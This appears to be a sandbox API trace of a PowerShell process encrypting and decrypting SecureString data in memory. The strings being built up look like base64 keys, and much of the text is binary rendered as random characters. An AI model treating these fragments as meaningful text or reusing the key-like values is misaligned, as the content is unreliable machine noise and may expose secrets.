(param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜䋑ᰕ歪㰡큖릯⊙) returned 0x28 [0211.310] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜䋑ᰕ歪㰡큖릯⊙) returned 0x28 [0211.310] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.310] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9zVC6FYs+") returned 0x28 [0211.310] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.311] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜烑镊᭱ꠇ蜜骋琔먝∛) returned 0x28 [0211.311] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜烑镊᭱ꠇ蜜骋琔먝∛) returned 0x28 [0211.311] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜烑镊᭱ꠇ蜜骋琔먝∛) returned 0x28 [0211.311] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜烑镊᭱ꠇ蜜骋琔먝∛) returned 0x30 [0211.311] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0211.312] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9zVC6FYs+p䤀灲Ꙧhꋥ渇횁") returned 0x30 [0211.312] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0211.312] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜烑镊᭱ꠇ蜜骋琔먝픛넽⒓䌲볎ꢹꓽ⋂) returned 0x30 [0211.312] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜烑镊᭱ꠇ蜜骋琔먝픛넽⒓䌲볎ꢹꓽ⋂) returned 0x30 [0211.312] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0211.312] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9zVC6FYs+pH灲Ꙧhꋥ渇횁") returned 0x30 [0211.312] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0211.312] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜烑镊᭱ꠇ蜜骋琔먝匛屆穕䯽ർ醟椽塱⊡) returned 0x30 [0211.312] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜烑镊᭱ꠇ蜜骋琔먝匛屆穕䯽ർ醟椽塱⊡) returned 0x30 [0211.312] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0211.312] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9zVC6FYs+pHoꙦhꋥ渇횁") returned 0x30 [0211.312] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0211.313] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜烑镊᭱ꠇ蜜骋琔먝圛膕뀇ᐊ杄ﺽ뙏醜≂) returned 0x30 [0211.313] SysStringLen (param_1="孒㲜歔뫑꨺쬏欦赡䡱䁈柺꩖ƺ㕚\㧞收坺ꚻ♞Ⴃ쥷ᜌ뇘⢐殤퇜烑镊᭱ꠇ蜜骋琔먝圛膕뀇ᐊ杄ﺽ뙏醜≂) returned 0x30 [0211.313] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0211.313] SysStringLen (param_1="5x/ea+v3URQa2urD8SR7FWE0klu6lbj9zVC6FYs+pHo=hꋥ渇횁") returned 0x30 [0211.313] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0211.313] EtwEventActivityIdControl () returned 0x0 [0211.391] EtwEventActivityIdControl () returned 0x0 [0211.391] EtwEventActivityIdControl () returned 0x0 [0211.392] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0211.392] EtwEventActivityIdControl () returned 0x0 [0211.392] EtwEventActivityIdControl () returned 0x0 [0211.392] EtwEventActivityIdControl () returned 0x0 [0211.393] SysStringLen (param_1="") returned 0x8 [0211.393] SysStringLen (param_1="N") returned 0x8 [0211.393] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.393] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0211.393] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0211.394] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.394] SysStringLen (param_1="ND") returned 0x8 [0211.394] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.394] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0211.394] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0211.394] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.394] SysStringLen (param_1="NDZ") returned 0x8 [0211.394] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.394] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0211.394] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0211.394] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.394] SysStringLen (param_1="NDZl") returned 0x8 [0211.395] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.395] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0211.395] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0211.395] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.395] SysStringLen (param_1="NDZlO") returned 0x8 [0211.395] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.395] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0211.395] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0211.395] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.395] SysStringLen (param_1="NDZlOD") returned 0x8 [0211.395] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.395] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0211.396] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0211.396] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.396] SysStringLen (param_1="NDZlODR") returned 0x8 [0211.396] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.396] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0211.396] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0211.396] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.396] SysStringLen (param_1="NDZlODRm") returned 0x8 [0211.396] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0211.397] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0211.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0211.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0211.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0211.398] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.398] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0211.398] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0211.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0211.399] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.399] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0211.399] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0211.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0211.399] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.399] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0211.399] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0211.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0211.400] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.400] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0211.400] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0211.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0211.400] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.400] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0211.400] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0211.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0211.401] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.401] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0211.401] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0211.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0211.402] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.402] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0211.402] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0211.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0211.402] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.402] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0211.402] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0211.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0211.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0211.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0211.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0211.403] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.403] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0211.403] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0211.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0211.403] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.404] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0211.404] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0211.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0211.404] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.404] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0211.404] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0211.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0211.404] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.405] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0211.405] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0211.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0211.405] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.405] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0211.405] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0211.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0211.405] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.405] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0211.405] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0211.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0211.406] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.406] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0211.406] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0211.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0211.406] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.406] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0211.406] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0211.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0211.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0211.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0211.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0211.407] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.407] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0211.407] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0211.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0211.408] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.408] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0211.408] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0211.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0211.408] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.408] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0211.408] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0211.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0211.408] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.409] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0211.409] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0211.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0211.409] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.409] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0211.409] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0211.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0211.409] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.410] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0211.410] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0211.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0211.410] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.410] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0211.410] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0211.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0211.410] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.410] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0211.410] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0211.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0211.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0211.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0211.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0211.412] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.412] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0211.412] SystemFunction040 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0211.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0211.412] SystemFunction041 (in: Memory=0x5c91d4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91d4c) returned 0x0 [0211.412] 